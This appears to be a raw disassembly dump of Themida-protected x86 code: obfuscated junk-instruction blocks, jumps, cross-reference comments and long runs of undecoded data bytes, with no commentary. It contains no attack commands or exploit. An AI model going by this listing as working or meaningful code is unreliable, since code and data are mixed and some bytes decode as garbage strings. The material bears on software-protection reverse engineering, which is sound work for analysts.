add eax, 8BBB8933h
jmp loc_54D59D
; ---------------------------------------------------------------------------
loc_54D13C: ; CODE XREF: Themida_:0054BE1Fj
push 57C97129h
pop edx
push ecx
mov ecx, 75420F4Fh
jmp loc_55125B
; ---------------------------------------------------------------------------
loc_54D14D: ; CODE XREF: Themida_:005521E5j
sub ecx, 0D4945BC2h
xor edx, ecx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_549E42
; ---------------------------------------------------------------------------
loc_54D16F: ; CODE XREF: Themida_:0054AD33j
shl ecx, 6
xor ecx, 88282704h
add eax, 5B163630h
add eax, ecx
sub eax, 5B163630h
pop ecx
add eax, 4
jmp loc_54E7BC
; ---------------------------------------------------------------------------
aFxcs db '╫ыfЕCИ',0
aT_0 db 'T',0
dd 14895C00h, 0E99C5024h, 0FFFF9347h, 0E2BB3BBh, 5BD88934h
dd 0E959C831h, 2EF0h, 8933EA2Dh, 5D80150h, 508933EAh, 81241C8Bh
dd 4C4h, 0C3315A00h, 0E930FF66h, 0FFFF9317h, 4FAC68h, 24148900h
dd 66E6B151h, 30F7B450h, 0BD94E9E1h, 0BB53FFFFh, 4, 3111BE56h
dd 0DEF751DAh, 0F7DE8746h, 81DE87D3h, 11283BE6h, 0C277E958h
db 2 dup(0FFh)
word_54D20A dw 77FFh ; DATA XREF: Themida_:00546284o
dd 4A6BE91Ch
db 2 dup(0)
aM0Fsski db '╛0ьfSИkI',0 ; DATA XREF: Themida_:005462E8o
align 4
dd 0FF92CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D221: ; CODE XREF: Themida_:0054664Fj
push eax
mov eax, 1
sub edi, eax
mov eax, [esp]
add esp, 4
push ecx
push edi
mov edi, 45A33A41h
mov ecx, 0FB5628C4h
jmp loc_546C82
; ---------------------------------------------------------------------------
loc_54D240: ; CODE XREF: Themida_:00552384j
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 4139h
mov [esp], ebx
push eax
mov eax, 2925256Ah
mov ebx, eax
pop eax
add dword ptr [esp+4], 441E2776h
sub dword ptr [esp+4], 1BDD2759h
add [esp+4], ebx
add dword ptr [esp+4], 1BDD2759h
sub dword ptr [esp+4], 441E2776h
mov ebx, [esp]
push edx
mov edx, esp
jmp loc_54EC23
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 240C3300h, 33240C31h, 248B240Ch, 0B2B7E924h, 6857FFFFh
dd 4, 0F3ED815Fh, 16BD245h, 0F3C581FDh, 8B6BD245h, 9CE9243Ch
dd 0BB000000h, 4, 0FFDE4DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D2D1: ; CODE XREF: Themida_:005497ECj
add dword ptr [esp], 7EA01494h
pop eax
jmp loc_54E6E3
; ---------------------------------------------------------------------------
word_54D2DE dw 31ADh ; DATA XREF: Themida_:00546374o
dd 0E08950D8h, 405h, 42D00h, 0A8E90000h
db 0B5h, 2 dup(0FFh)
byte_54D2F3 db 0ADh ; DATA XREF: Themida_:00546344o
dd 81E78957h, 4C7h, 0B836E900h, 3433FFFFh, 24248B24h, 592434FFh
dd 81E18951h, 4C1h, 5A36800h, 14890000h, 47B2BA24h, 0C2833CC9h
dd 68E281FFh, 8112C606h, 0F31243C2h, 8ABE5631h, 8113517Dh
dd 6D1A75C6h, 0E9D6F77Dh, 2965h, 0FF91A2E9h, 24248BFFh
dd 4BB0F66h, 43E99C24h, 83FFFFC4h, 48F04C4h, 66E95C24h
dd 8100002Ah, 4C4h, 98B95100h, 0F70EBE69h, 0C4EDE9D9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D376: ; CODE XREF: Themida_:0054B851j
pop eax
mov eax, ebp
pop ebp
xor [esp+4], eax
mov eax, [esp]
jmp loc_546F8B
; ---------------------------------------------------------------------------
loc_54D386: ; CODE XREF: Themida_:0054AE3Ej
sub ecx, 2B1852F5h
sub ecx, 933D0688h
add edi, 3DD8336Ah
add edi, ecx
sub edi, 3DD8336Ah
pop ecx
push dword ptr [esp]
pop ecx
jmp loc_551666
; ---------------------------------------------------------------------------
loc_54D3AA: ; CODE XREF: Themida_:00550790j
add edi, edx
pop edx
push ebx
jmp loc_550721
; ---------------------------------------------------------------------------
loc_54D3B3: ; CODE XREF: Themida_:00549A8Cj
mov edi, 1Ch
mov edx, edi
pop edi
add edx, 2A8D2851h
sub edx, 46482254h
add edx, edi
add edx, 46482254h
sub edx, 2A8D2851h
push dword ptr [edx]
sub dword ptr [esp], 3D761BBAh
jmp loc_54BE9C
; ---------------------------------------------------------------------------
db 59h
dd 0D000AB04h, 148BAB2Ch, 4C48124h, 0E9000000h, 0FFFF915Ch
dd 4244429h, 0ADE95858h
db 0EFh, 2 dup(0FFh)
byte_54D403 db 0FFh ; DATA XREF: Themida_:005463E0o
dd 34FF2434h, 89505924h, 405E0h, 0E9520000h, 0FFFFDA9Fh
; ---------------------------------------------------------------------------
loc_54D418: ; CODE XREF: Themida_:0054A77Cj
mov edi, [esp]
add esp, 4
sub edi, 0FFD9FD63h
jmp loc_54DD51
; ---------------------------------------------------------------------------
loc_54D429: ; CODE XREF: Themida_:0054CF2Bj
pop ebx
sub ebx, 7651599Ch
pop esi
jmp loc_54C655
; ---------------------------------------------------------------------------
dw 0FD88h
dd 44FBE95Bh, 0EA810000h, 16DD22B2h, 2414875Eh, 0E924248Bh
dd 0FFFFBE41h, 6D8A6866h, 24148966h, 0E99C5066h, 0FFFF908Bh
; ---------------------------------------------------------------------------
loc_54D460: ; CODE XREF: Themida_:0054EC2Cj
add edx, 4
jmp loc_5498AB
; ---------------------------------------------------------------------------
db 81h
dd 0FFFFFFC6h, 56EE81FFh, 0E9EBDCF0h, 0E59h, 0B60F66h
dd 1FDC6866h, 24048966h, 0FF905EE9h, 39C680FFh, 8B66F030h
dd 4AE92414h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D49B: ; CODE XREF: Themida_:0054B6F8j
and [edi+1Ch], eax
push dword ptr [esp]
jmp loc_54D9C4
; ---------------------------------------------------------------------------
loc_54D4A6: ; CODE XREF: Themida_:0054E002j
mov esi, ebx
pop ebx
shl esi, 1
shr esi, 8
xor esi, 2CDFD2BAh
add ebx, esi
pop esi
sub ebx, esi
sub ebx, 2CC908EEh
pop esi
pop dword ptr [eax]
jmp loc_5464EB
; ---------------------------------------------------------------------------
db 2Dh
dd 0C7CAD6D3h, 8158C131h, 989FA0C1h, 59CE2103h, 8EC6814Eh
dd 0E9629579h, 0FFFFC236h, 0BB53E689h, 677A6A85h, 6A81EB81h
dd 2E9677Ah, 5F000032h, 7CE1BF57h, 22E96217h, 8100004Ch
dd 842B88C7h, 0CBF7811Ch, 296CE027h, 0F3815FFBh, 32E85214h
dd 34FFD831h, 89565B24h, 3EEAE9E6h, 0C890000h, 720AB924h
dd 0E9830BE7h, 6E1C101h, 62D0C181h, 0C1811BABh, 1FA54E72h
dd 1AE98149h, 0E92289BCh, 13BAh
dword_54D54C dd 24048B66h, 52E68956h, 9D59B8BAh, 8E2C113h, 5102EAC1h
; DATA XREF: Themida_:005462E0o
dd 0FA06C6B9h, 7E9C137h, 91D0F791h, 0FFFFE981h, 75E9FFFFh
dd 0BFFFFFF2h, 4, 0E95FF801h, 0FFFFAB73h, 0C8BC828h, 4C48124h
dd 80000000h, 39E982EBh, 55FFFFE5h, 4F75E9h
db 0
; ---------------------------------------------------------------------------
loc_54D59D: ; CODE XREF: Themida_:0054D137j
add esi, eax
pop eax
and eax, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
or eax, eax
jmp loc_546C89
; ---------------------------------------------------------------------------
dd 4C481h, 0C4830000h, 19326804h, 0DAE90000h, 8900002Dh
dd 7FE9242Ch, 5FFFFE1h, 4, 3302C083h, 8CE92404h, 0FFFFFFBDh
dd 79E92434h, 0FF000026h, 0A1E92434h, 89FFFF8Fh, 0E2B951E0h
dd 815AA760h, 589F22C1h, 235005A5h, 0C80144ECh, 2350BE56h
dd 0F02944ECh, 0FFF7EBE9h, 81EE01FFh, 9084FEEh, 0C7EE814Eh
dd 5D564C69h, 515EF031h, 0FFE632E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D631: ; CODE XREF: Themida_:0054A8A1j
pop dword ptr [esp]
jmp loc_5484A5
; ---------------------------------------------------------------------------
loc_54D639: ; CODE XREF: Themida_:00548E34j
mov eax, 11391725h
sub eax, 11391721h
mov ebx, eax
pop eax
jmp loc_548C8B
; ---------------------------------------------------------------------------
db 89h
dd 2BB241Ch, 0E9000000h, 212Fh, 0E9ECC580h, 28D9h, 83E9FA30h
db 26h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D667: ; CODE XREF: Themida_:0054E814j
pop edx
neg ebx
shr ebx, 7
sub ebx, 8808FBC4h
jmp loc_5495E0
; ---------------------------------------------------------------------------
dd 6A5868h, 24348900h, 42474FFh, 1793E9h, 6D7BF00h, 0C4E936FAh
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D693: ; CODE XREF: Themida_:00549D1Fj
add ecx, edi
xor edx, [ecx]
pop ecx
push eax
push edi
push 1BC63816h
pop edi
and edi, 42120526h
jmp loc_54790E
; ---------------------------------------------------------------------------
loc_54D6AB: ; CODE XREF: Themida_:0054D9D1j
pop eax
pop ebx
xor eax, esi
jmp loc_54FCA3
; ---------------------------------------------------------------------------
dd 81664966h, 663E6FF1h, 0BE7FF181h, 59C80166h, 2EEE8166h
dd 0C629664Ah, 2EC68166h, 2966584Ah, 0F4D3E9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D6DA: ; CODE XREF: Themida_:00548A90j
mov ebp, 71611F01h
sub ebp, 637408A3h
neg ebp
and ebp, 23C03E02h
add ebp, 0DDFFD802h
add eax, ebp
pop ebp
push eax
push dword ptr [esp+4]
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_551118
; ---------------------------------------------------------------------------
dd 0D3F7935Fh, 20E1E993h, 17BE0000h, 0E904DF7Ch, 0FFFF9BDAh
dd 3ACBC381h, 0EB815D1Dh, 14530322h, 6AF5C381h, 0C3016B06h
dd 40A8E9h, 51F68100h, 0E9FF3F1Ch, 0C0Dh, 0E924248Bh, 0FFFF8D9Fh
dd 68665E66h, 89662C9Fh, 6866241Ch, 8B661561h, 0E955241Ch
dd 0FFFFCDBAh
dword_54D764 dd 957CE9ADh ; DATA XREF: Themida_:00546224o
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D76A: ; CODE XREF: Themida_:0054F036j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_54F4BF
; ---------------------------------------------------------------------------
loc_54D778: ; CODE XREF: Themida_:0054675Ej
push ebx
mov ebx, 785C23D2h
add ebx, 23F73F31h
xor ebx, 78CD5423h
jmp loc_54E642
; ---------------------------------------------------------------------------
db 5Bh
dd 0EDDEC581h, 0EA890E52h, 8BD6895Dh, 0C4812414h, 4, 0CE9E6D1h
dd 81000013h, 5A6E87F6h, 9C49E93Fh, 30E9FFFFh, 0B1FFFF8Dh
dd 66CB0087h, 0AC9FE959h, 815AFFFFh, 0AB06C7F5h, 5BC58137h
dd 81D79BE7h, 0D76453C6h, 81EE0116h, 0D76453EEh, 34875D16h
dd 0E3685C24h, 89000053h, 89532434h, 0E9DE89FBh, 0FFFFAFFBh
dd 2BC7F681h, 0F6816F17h, 0B5CE90B6h, 0BB53D6F7h, 6E4C6512h
dd 0DCEC381h, 51E92F90h, 83FFFFD2h, 348904ECh, 44E1BE24h
dd 814625FBh, 0CB2820F6h, 0B3E68112h, 46072331h, 467FE681h
dd 0BB5353F4h, 4F4F1A1Fh, 315BDE01h, 0B70FE9F5h
db 2 dup(0FFh)
word_54D846 dw 8B66h ; DATA XREF: Themida_:005462E4o
dd 0FE68240Ch, 0E9000006h, 0FFFFE663h
dword_54D854 dd 582434FFh, 348B5456h, 4C48324h, 17F1E950h, 0E95F0000h
; DATA XREF: Themida_:0054629Co
dd 182h
; ---------------------------------------------------------------------------
loc_54D86C: ; CODE XREF: Themida_:0054E4CAj
mov edi, [esp]
add esp, 4
mov esi, ebp
mov ebp, [esp]
add esp, 4
push edi
push esi
sub dword ptr [esp], 212C6CBBh
pop edi
add edi, 212C6CBBh
mov eax, edi
pop edi
pop esi
push 0F32h
mov [esp], esi
mov esi, 6F73C9h
shr esi, 6
jmp loc_550A15
; ---------------------------------------------------------------------------
loc_54D8A6: ; CODE XREF: Themida_:00549E4Bj
mov esi, 64AE1514h
add edx, 5DDC4AE0h
sub edx, esi
sub edx, 5DDC4AE0h
pop esi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
pop dword ptr [edi+20h]
pop edx
jmp loc_54E263
; ---------------------------------------------------------------------------
db 1, 0CEh, 59h
dd 0FF947CE9h, 243431FFh, 5C243433h, 0E9F9F766h, 0FFFFB9AEh
dd 0E959CE09h, 0FFFFA0DAh
; ---------------------------------------------------------------------------
loc_54D8F8: ; CODE XREF: Themida_:0054BEC2j
push esp
pop eax
jmp loc_54AD20
; ---------------------------------------------------------------------------
loc_54D8FF: ; CODE XREF: Themida_:00548C2Ej
sub edx, 0F1F5C4E9h
mov eax, edx
pop edx
push 0
sub [esp], eax
pop eax
jmp loc_54F854
; ---------------------------------------------------------------------------
dw 2BB9h
dd 81362B3Ch, 0A2425CC9h, 6B68416Bh, 89000006h, 0C4BE2434h
dd 4E0D3C0Fh, 1086E681h, 0E6C17DD1h, 0E122E904h, 0D989FFFFh
dd 59CA295Bh, 278DE9h, 4B95100h, 1000000h, 240C8BCEh, 2FE6E9h
dd 37F48000h, 0FFE9B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D961: ; CODE XREF: Themida_:0054AB8Fj
add [esp+8], eax
jmp loc_551244
; ---------------------------------------------------------------------------
loc_54D96A: ; CODE XREF: Themida_:0054F396j
pop eax
xor ebp, esi
jmp loc_549A26
; ---------------------------------------------------------------------------
dw 15Fh
dd 18E95EF1h, 0BAFFFFF9h, 355E0969h, 8105EAC1h, 0AF4D47CAh
dd 37EA8124h, 56709D38h, 8C0D8BBEh, 5EF22910h, 4877BD55h
dd 0EA015B79h, 0FFB3F6E9h, 4EC83FFh, 0B8240489h, 662E2AADh
dd 4799E9h, 0DEDCB900h, 0D901FEC6h, 0E9D9F75Bh, 0FFFFD0FAh
; ---------------------------------------------------------------------------
loc_54D9C4: ; CODE XREF: Themida_:0054D4A1j
mov eax, [esp]
jmp loc_55119F
; ---------------------------------------------------------------------------
loc_54D9CC: ; CODE XREF: Themida_:005504A6j
mov edi, eax
mov esi, edi
pop edi
jmp loc_54D6AB
; ---------------------------------------------------------------------------
loc_54D9D6: ; CODE XREF: Themida_:005495EAj
mov esi, 0FFFFFFFFh
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_546729
; ---------------------------------------------------------------------------
dd 538E958h, 0B9510000h, 32617053h, 7E9C141h, 77C181h
dd 0C1413AA5h, 0F18102E9h, 0EC270D2h, 4772E9h
db 0
; ---------------------------------------------------------------------------
loc_54DA0D: ; CODE XREF: Themida_:00550755j
add edi, ebx
pop ebx
jmp loc_551B70
; ---------------------------------------------------------------------------
db 53h, 50h, 0B8h
dd 2D0A4E00h, 56585B50h, 0A737BCBEh, 5EF33152h, 1EB81h
dd 0BD550000h, 65011410h, 815DEB21h, 1100EEBh, 5BDD0165h
dd 7EDE68h, 242C8900h, 42474FFh, 24048F5Dh, 6624248Bh
dd 8324048Bh, 3C8904ECh, 4EC8324h, 81242489h, 42404h, 3C8B0000h
dd 4C48324h, 4C781h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54A7D5
; ---------------------------------------------------------------------------
loc_54DA7E: ; CODE XREF: Themida_:005486A9j
xor eax, 30916D4h
add ebx, eax
pop eax
jmp loc_54B50D
; ---------------------------------------------------------------------------
loc_54DA8B: ; CODE XREF: Themida_:00548B68j
or eax, 2D282048h
or eax, 65C42994h
shr eax, 1
push ecx
jmp loc_54F6D5
; ---------------------------------------------------------------------------
db 0F7h, 0D7h, 0E9h
dd 31BDh
; ---------------------------------------------------------------------------
loc_54DAA4: ; CODE XREF: Themida_:00547789j
sub ecx, 1415FBE4h
jmp loc_5520B2
; ---------------------------------------------------------------------------
loc_54DAAF: ; CODE XREF: Themida_:0054A8B8j
push edx
mov edx, esp
jmp loc_548504
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF8A2Fh, 0B951E829h, 2DA63134h, 0F707E9C1h, 0E9E1D1D9h
dd 0FFFFC2B2h
dword_54DAD0 dd 24048B66h, 4EC8156h, 89000000h, 4812424h, 424h, 2434FF00h
; DATA XREF: Themida_:005463E8o
dd 0E924348Bh, 0EE6h, 4BE56h, 0F7010000h, 60BE565Eh, 0C13BBF56h
dd 0D6F704E6h, 2E25E9h
db 0
; ---------------------------------------------------------------------------
loc_54DB09: ; CODE XREF: Themida_:00548EACj
pop ebx
push ebp
mov ebp, 4
add ebx, ebp
mov ebp, [esp]
jmp loc_55167A
; ---------------------------------------------------------------------------
dw 0B151h
dd 7E1C020h, 0C003E1C0h, 23E903E9h, 58FFFFB1h, 0BD2E9h
db 0
byte_54DB31 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546464o
dd 0E7895724h, 0C3BF5753h, 0E90F2057h, 37B3h, 651EEB81h
dd 20E927A6h, 89FFFFE5h, 4C781E7h, 0E9000000h, 0FFFFB3A3h
; ---------------------------------------------------------------------------
loc_54DB5C: ; CODE XREF: Themida_:00546E98j
mov esp, [esp]
mul cl
movzx cx, ah
push ebx
mov ebx, esp
jmp loc_548B4C
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 6
dd 0EEC1DEF7h, 4C68106h, 81FC1A37h, 86102DEDh, 81F5010Ch
dd 86102DC5h, 2C875E0Ch, 4295C24h, 54E99C24h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DB97: ; CODE XREF: Themida_:00550FE5j
add esp, 4
pop ebx
push eax
mov eax, 37897509h
xor ebx, eax
pop eax
mov edi, [esp]
add esp, 4
jmp loc_54F217
; ---------------------------------------------------------------------------
db 81h, 0F1h, 70h
dd 89668A30h, 0BE959CBh
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54DBC3: ; CODE XREF: Themida_:0054A99Bj
sub edx, 4A072EC8h
sub edx, 51C02DAh
add edx, ebx
add edx, 51C02DAh
add edx, 4A072EC8h
mov ecx, [edx]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
mov ebx, [esp]
jmp loc_550871
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0B40E9h
db 0
; ---------------------------------------------------------------------------
loc_54DC0D: ; CODE XREF: Themida_:0054E89Cj
pop eax
add ebx, ecx
sub ebx, 11BA3B76h
jmp loc_54A67E
; ---------------------------------------------------------------------------
byte_54DC1B db 0FFh ; DATA XREF: Themida_:005463BCo
dd 34FF2434h, 24148B24h, 43C3E9h, 0F9F58000h, 0E5C0D5F6h
dd 3CC58002h, 0E95CEB80h, 3EEh, 1D7368h, 240C8900h, 0C5FED1B5h
dd 32026866h, 24048966h, 53E9E5B0h, 0E9000002h, 0FFFF888Fh
dd 4D5EF529h, 8104EDC1h, 0C1CB7BEDh, 0E9EE0101h, 0FFFFDA5Eh
dd 0BA665266h, 0E9B949h, 56FFFFB1h, 0F35A8BEh, 0FFD6E91Ch
dd 0BE56FFFFh, 3B00B14h, 0EC81DEF7h, 4, 0E9243C89h, 3AA2h
; ---------------------------------------------------------------------------
loc_54DC9C: ; CODE XREF: Themida_:00546CA3j
mov eax, 6AEB4031h
xor edx, eax
jmp loc_55152A
; ---------------------------------------------------------------------------
loc_54DCA8: ; CODE XREF: Themida_:005489D0j
mov esp, [esp]
or eax, eax
jnz loc_54867F
push ebx
push edi
mov edi, 16101E76h
push esi
jmp loc_54CF1D
; ---------------------------------------------------------------------------
loc_54DCC0: ; CODE XREF: Themida_:0054E925j
add ebx, 4
add ebx, 4
jmp loc_548F75
; ---------------------------------------------------------------------------
db 83h, 0C3h, 4
dd 5C241C87h, 5C240487h, 240C8B66h, 4EC81h, 0C890000h
dd 81E18924h, 4C1h, 4E98300h, 8B240C87h, 0C892424h, 0C8B5424h
dd 4C48324h, 4A7BF57h, 0BE560670h, 0
dd 0F787FE29h, 55EF815Eh, 1F98FFBh, 0C1835FF9h, 240C3302h
dd 33240C31h, 248B240Ch, 9CC13824h, 0FF87B6E9h, 24248BFFh
dd 2489E9h
db 0
; ---------------------------------------------------------------------------
loc_54DD3D: ; CODE XREF: Themida_:0054E608j
mov ecx, esp
jmp loc_54968B
; ---------------------------------------------------------------------------
dd 4BEh, 5EF30100h, 0B72E9h
db 0
; ---------------------------------------------------------------------------
loc_54DD51: ; CODE XREF: Themida_:0054D424j
mov edx, edi
pop edi
jmp loc_5476EA
; ---------------------------------------------------------------------------
db 1, 0C5h, 58h
aZHT db '┤,$\h(t',0
dd 24148900h, 0F300B6B6h, 87EB805Ah, 0A0E9C328h
db 13h, 2 dup(0)
byte_54DD77 db 0FFh ; DATA XREF: Themida_:00546468o
dd 38E94077h
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DD7F: ; CODE XREF: Themida_:00549583j
mov [esp], eax
mov eax, 0DD05D9Dh
inc eax
shl eax, 8
not eax
xor eax, 1EBC37E8h
sub eax, 351E6618h
push ebp
mov ebp, 14E573D6h
add esi, ebp
jmp loc_54B97F
; ---------------------------------------------------------------------------
loc_54DDA4: ; CODE XREF: Themida_:0054F9E5j
pop ebx
add esi, 6C6D31EAh
jmp loc_54E035
; ---------------------------------------------------------------------------
dd 6624248Bh, 9C2424D3h, 0FF872EE9h, 7E8C1FFh, 508E0C1h
dd 3BAA0985h, 740F8805h, 57532576h, 2B050F97h, 317391BFh
dd 0A3E958C6h, 5000027h, 463431EDh, 0ED2DC801h, 59463431h
dd 116768h, 24048900h, 42474FFh, 573E9h, 8BE98900h, 8950242Ch
dd 405E0h, 4050000h, 87000000h, 5F5C2404h, 8108E1C1h, 0B37379E9h
dd 8BC8316Dh, 0C483240Ch, 0EEC38104h, 812CFC01h, 78192AC3h
dd 81C3013Ch, 78192AEBh, 4716683Ch, 2DE90000h, 57000022h
dd 0FD7F16BFh, 91E5E958h, 875BFFFFh, 0D25C2404h, 0E99C243Ch
dd 0FFFF868Fh, 8BFB2966h, 0C483243Ch, 0C3816604h, 0B70F2BBCh
dd 0E78957C0h, 4C781h, 0EF810000h, 4, 0E9243C87h, 2373h
dd 1CE9FE21h
db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DE8B: ; CODE XREF: Themida_:0054905Dj
xor eax, [esp]
jmp loc_54ECA7
; ---------------------------------------------------------------------------
loc_54DE93: ; CODE XREF: Themida_:0054BDA0j
add esi, 611A3C93h
add esi, edi
jmp loc_54E3CE
; ---------------------------------------------------------------------------
dd 2474FF53h, 31B6E904h, 0C5280000h, 0FF8E4CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DEB1: ; CODE XREF: Themida_:005510D2j
shr edx, 1
cmp eax, edx
jmp loc_54BE18
; ---------------------------------------------------------------------------
dw 0C281h
dd 79D73289h, 0E951FA01h, 0FFFFF037h, 83241489h, 348904ECh
dd 2434FF24h, 0FFA978E9h, 2EC81FFh, 66000000h, 0B7241C89h
dd 66F80027h, 468665Bh, 1C896634h, 66B9B724h, 4AEB652h
dd 0E9F00057h, 0FFFFE877h, 1573A1BBh, 8BD9895Fh, 84E9241Ch
dd 8900000Dh, 0A0E92434h, 8700003Dh, 248B2414h, 0C83B6624h
dd 85C5E99Ch, 0FF57FFFFh, 5F042474h, 8B24048Fh, 76E92424h
db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF37: ; CODE XREF: Themida_:0055017Bj
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
sub edx, 4
push edx
jmp loc_54846B
; ---------------------------------------------------------------------------
dw 0CE29h
dd 39B85059h, 81CABC08h, 4A3A99EEh, 81C6016Ch, 4A3A99C6h
dd 0F089586Ch, 0A1C7815Eh, 1067B46h, 8FB850C7h, 351AB73Ah
dd 1CCC7C2Eh, 45E9C729h, 0BB000025h, 4, 505BD889h, 0D46061B8h
dd 0C742E94Bh, 0C483FFFFh, 0A48DE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF9E: ; CODE XREF: Themida_:005518C2j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
sub esp, 4
jmp loc_54CE24
; ---------------------------------------------------------------------------
loc_54DFC2: ; CODE XREF: Themida_:00549C1Bj
push ebp
mov ebp, 3891727Ah
and ebp, 74964373h
shl ebp, 5
jmp loc_54EB4C
; ---------------------------------------------------------------------------
dw 772Dh
dd 0E969865Eh, 0FFFFD4C9h, 6C81C581h, 0EF897303h, 23C7815Dh
dd 0E9B72394h, 0FFFFD6C9h
; ---------------------------------------------------------------------------
loc_54DFF4: ; CODE XREF: Themida_:005486C4j
mov ebx, [esp]
add esp, 4
neg ebx
sub ebx, 9A86A2E4h
jmp loc_54D4A6
; ---------------------------------------------------------------------------
byte_54E007 db 66h ; DATA XREF: Themida_:0054622Co
dd 50240C8Bh, 6E9E089h, 68000008h, 6282h, 52242C89h, 2391E955h
dd 0C5830000h, 0B46E902h, 0EB000000h, 595CC380h, 0FFCCB0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E035: ; CODE XREF: Themida_:0054DDABj
or edi, esi
pop esi
jmp loc_549DEA
; ---------------------------------------------------------------------------
db 89h, 0D3h, 5Ah
dd 7F0568h, 241C8900h, 0FFCB11E9h, 685350FFh, 3F147FC2h
dd 81241C8Bh, 4C4h, 2E3C100h, 2414F753h, 52E9505Bh, 51FFFF8Fh
dd 0ED80F2B5h, 0E9C5FE79h, 0FFFFF09Fh, 0C381DBF7h, 0C53E7518h
dd 0E95BDD89h, 0BA9h, 0F4E9E957h, 0EA81FFFFh, 2B5E600Bh
dd 0AC81C281h, 0D589C258h, 0B905E95Ah
db 2 dup(0FFh)
word_54E0A2 dw 77FFh ; DATA XREF: Themida_:00546254o
dd 58669D1Ch, 9C240418h, 0FF843AE9h, 81E189FFh, 4C1h, 4C18300h
dd 2474FF51h, 48F5904h, 24248B24h, 0E924048Fh, 0FFFF9A4Ah
dd 4C481h, 0C5800000h, 10C3800Ah, 5066EB00h, 0C32810B0h
dd 3A4AE9h, 243C8B00h, 639568h, 240C8900h, 0C181E189h
dd 4, 8704C183h, 555C240Ch, 0BE0A2EBDh, 0CC3CE96Ah
db 2 dup(0FFh)
word_54E10E dw 34FFh ; DATA XREF: Themida_:005462B4o
dd 24048B24h, 5304C483h, 4FEE9h, 0C4815A00h, 4, 48BC131h
dd 4C48124h, 1000000h, 0E779E9C8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E136: ; CODE XREF: Themida_:00551B14j
mov esi, [esp]
jmp loc_54E922
; ---------------------------------------------------------------------------
dw 0C581h
dd 2, 36F868h, 242C8900h, 42474FFh, 24048F5Dh, 0BE0F665Ch
dd 7E6866C8h, 0C896619h, 8385E924h, 0AB68FFFFh, 8900004Bh
dd 89532434h, 4C381E3h, 0E9000000h, 472h, 53241489h, 0F380BDB3h
dd 5BDE888Dh, 0E2B75366h, 0FFDD55E9h, 5EF021FFh, 5D0F748h
dd 82880E33h, 34FFC729h, 0C4815824h, 4, 2D5FFE89h, 7A754E26h
dd 2605F001h, 8B7A754Eh, 0C4832434h, 0F55EE904h, 0EB01FFFFh
dd 0FF8EEAE9h, 8BEE29FFh, 56E9242Ch, 52FFFFC2h, 0CE78DCBAh
dd 0C6C2817Ah, 10F0172h, 0C8015AD1h, 39685359h, 0E920706Eh
dd 0FFFFD7FDh, 0A1F6E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E1F6: ; CODE XREF: Themida_:0054AE79j
mov edi, 21062859h
xor edi, 7A1A0C65h
push eax
mov eax, 6B9C2D5Ah
or edi, eax
pop eax
add edi, 8463D286h
add ebp, 22A504B8h
add ebp, edi
sub ebp, 22A504B8h
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
push esp
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_546DA0
; ---------------------------------------------------------------------------
loc_54E239: ; CODE XREF: Themida_:0055125Cj
mov edx, 62053D73h
shr edx, 8
and edx, 53C539C6h
inc edx
add edx, 758A0441h
xor ecx, edx
pop edx
jmp loc_54A8E7
; ---------------------------------------------------------------------------
loc_54E256: ; CODE XREF: Themida_:00546BB3j
mov edi, 4
add eax, edi
pop edi
jmp loc_54F8BB
; ---------------------------------------------------------------------------
loc_54E263: ; CODE XREF: Themida_:loc_54BE18j
; Themida_:0054D8D4j ...
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_546BFD
; ---------------------------------------------------------------------------
db 33h, 0Ch, 24h
dd 0E924248Bh, 0FFFFCBC7h, 4B850h, 0C3010000h, 0FA47E958h
dd 0C483FFFFh, 28CF2C04h, 5BCF04F8h, 0D8007A04h, 0FFDCB2E9h
dd 3BCD81FFh, 8177A515h, 0AF81C0EDh, 5DE8897Fh, 2158C289h
dd 0BBE91C57h, 8300002Ah, 0EC8304C4h, 24148904h, 0EA885253h
